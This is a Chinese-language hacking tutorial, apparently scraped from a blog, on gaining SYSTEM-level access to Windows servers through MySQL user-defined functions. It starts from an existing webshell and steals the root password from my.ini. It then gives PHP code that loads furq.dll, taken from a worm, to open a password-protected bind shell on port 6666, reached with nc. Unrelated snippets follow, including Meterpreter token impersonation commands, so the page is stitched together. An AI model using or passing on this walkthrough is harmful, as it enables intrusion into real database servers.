前不久網上公開了乙個mysql func的漏洞,講的是使用mysql建立乙個自定義的函式,然後通過這個函式來攻擊伺服器。最早看到相關的報道是在o-otik上,但是公布的是針對unix系統的exploit,並且成功率也不是很高.而近期,國內有高手放出針對win系統的相關文章,於是我馬上找來與朋友一同研究.
其實我們早就能想到.當我們在對mssqloracle資料庫進行攻擊的時候,得到了最資料庫中高許可權的帳戶,往往都是執行特殊的擴充套件過程或者函式來進行攻擊的。比如mssql有xp_cmdshell,oracle可以通過msvcrt.dll來建立乙個特殊的函式.而我們卻始終沒有想到,作為流行的資料庫軟體之一的mysql,也是可以進行函式的建立的.由此看來,mysql的這個漏洞不應稱為漏洞而僅僅是乙個技術而已.
廢話一堆過後,我們來了解一下怎麼在mysql裡建立乙個函式吧.這比如何利用重要許多,只要了解了原理,運用就能更加靈活,而且可以與其他思想融會貫通.
mysql中建立乙個函式的語句為:
create function functionname returns [string|integer|real] soname c:function.dll;
其中functionname指的是函式的名稱,c:function.dll指的是函式所呼叫的dll,而函式名正是dll中的函式名稱.不過這裡需要我們注意的是,如果我們需要mysql可以在函式之中附帶乙個引數的話,那麼就要符合udf形式的程式編寫規則,具體的可以檢視mysql手冊的第14節:《為mysql增加新函式》.而其中string,integet,real是函式執行後所返回的值的形式.當然,我們大可不必遵循udf形式的編寫,其實如果我們的函式中使用乙個我們要執行的**,而不使用引數,一樣可以達到攻擊的效果,比如說system("command.com")等等.網上現在以此漏洞進行攻擊的furq蠕蟲就是乙個不使用udf格式的例子.但是注意,這個建立函式的語句必須要求我們所用的mysql帳戶有對mysql這個資料庫的寫許可權,否則無法正常使用.
好了.了解了原理之後,我們來實戰一下如何使用mysql提公升許可權.
在這裡我們已經通過各式各樣的漏洞取得了乙個伺服器的webshell,我這裡演示的是angel的phpspy,因為php預設有連線mysql的函式,而asp這些需要使用附加的元件來進行連線,本身不具備條件的.
一般來說,在win系統下面,很多軟體都會在系統目錄下建立乙個叫my.ini的檔案,其中包含了很敏感的mysql資訊.而如果我們攻克的主機沒有非常好的許可權設定的話,我們本身就具有對%windir%目錄的瀏覽許可權,所以可以非常容易的讀取其中的資訊.而且非常多的管理員通常是將root帳戶與密碼寫進這個my.ini,所以一旦我們讀到root使用者的密碼,就可以操縱整個mysql資料庫或者是伺服器了.如圖1.
得到mysql的root密碼之後,我們需要上傳我們的dll檔案,我這裡使用的是從furq蠕蟲中提取的furq.dll.執行這個furq.dll中的shell函式,系統將會在6666埠開啟乙個帶密碼的cmdshell,當然,密碼我們已經知道,就是"furq"幾個字元而已.不過我們現在還沒有執行的條件.需要通過mysql將這個函式建立到mysql中去.
現在,我們用phpspy新建乙個php檔案.
輸入以下的內容
$link=mysql_connect(127.0.0.1,root,root);
if (!$link) ;
echo "good boy.connected!
";//這裡的root
oot就是從my.ini中讀取的使用者和密碼.
@mysql_select_db(mysql) or die (use database mysql failed!);
echo "yes you did!
";//這裡選擇使用mysql資料庫表.當然你也可以選擇別的,如test.
$query="create function shell returns integer soname d:\wwwroot\furq.dll;";
@$result = mysql_query($query, $link) or die ("create function failed!");
echo "goddess...successed!
";//這兩句話是關鍵,執行mysql的建立函式語句.將d:wwwrootfurq.dll中的shell函式建立進mysql中.使得mysql可以執行這個shell函式.
$query="select shell();";
@$result = mysql_query($query, $link) or die ("execute failed");
echo "congratulations! connect the port 6666 of this server vs password:furq
";//這一步是執行這個shell函式,開啟伺服器的6666埠.
?>
再次執行,全部正常返回.如圖2.那麼現在,我們就可以使用nc連線伺服器的6666埠,輸入這個密碼:furq.然後就返回cmdshell了..當然,由於繼承的是mysql的許可權,而win系統下mysql預設以服務安裝,也就是說,我們得到的shell為localsystem許可權,可以為所欲為了,不過不要做壞事哦.呵呵
C 如何提公升程序許可權
getcurrentprocessid 得到當前程序的id openprocesstoken 得到程序的令牌控制代碼 lookupprivilegevalue 查詢程序的許可權 adjusttokenprivileges 修改 要對乙個任意程序 包括系統安全程序和服務程序 進行指定了寫相關的訪問權的...
kalilinux 許可權提公升
meterpeter 可以在 meterpreter 使用 incognito 來開始模擬過程 use incognito 展示 incognito 的幫助文件,通過輸入 help 命令 help 獲得可用使用者的列表 list tokens u 模擬攻擊 impersonate token wil...
使用tcmalloc提公升mysql效能
網上搜到了tcmalloc,說是這個東西可以讓mysql在高併發下效能也很穩定,同時也說了mysql這個問題是因為malloc記憶體分配函式的bug,這個bug會使高併發的mysql效能急劇下降。使用google的tcmalloc 記憶體分配函式代替libc裡的標準malloc.google的開源效...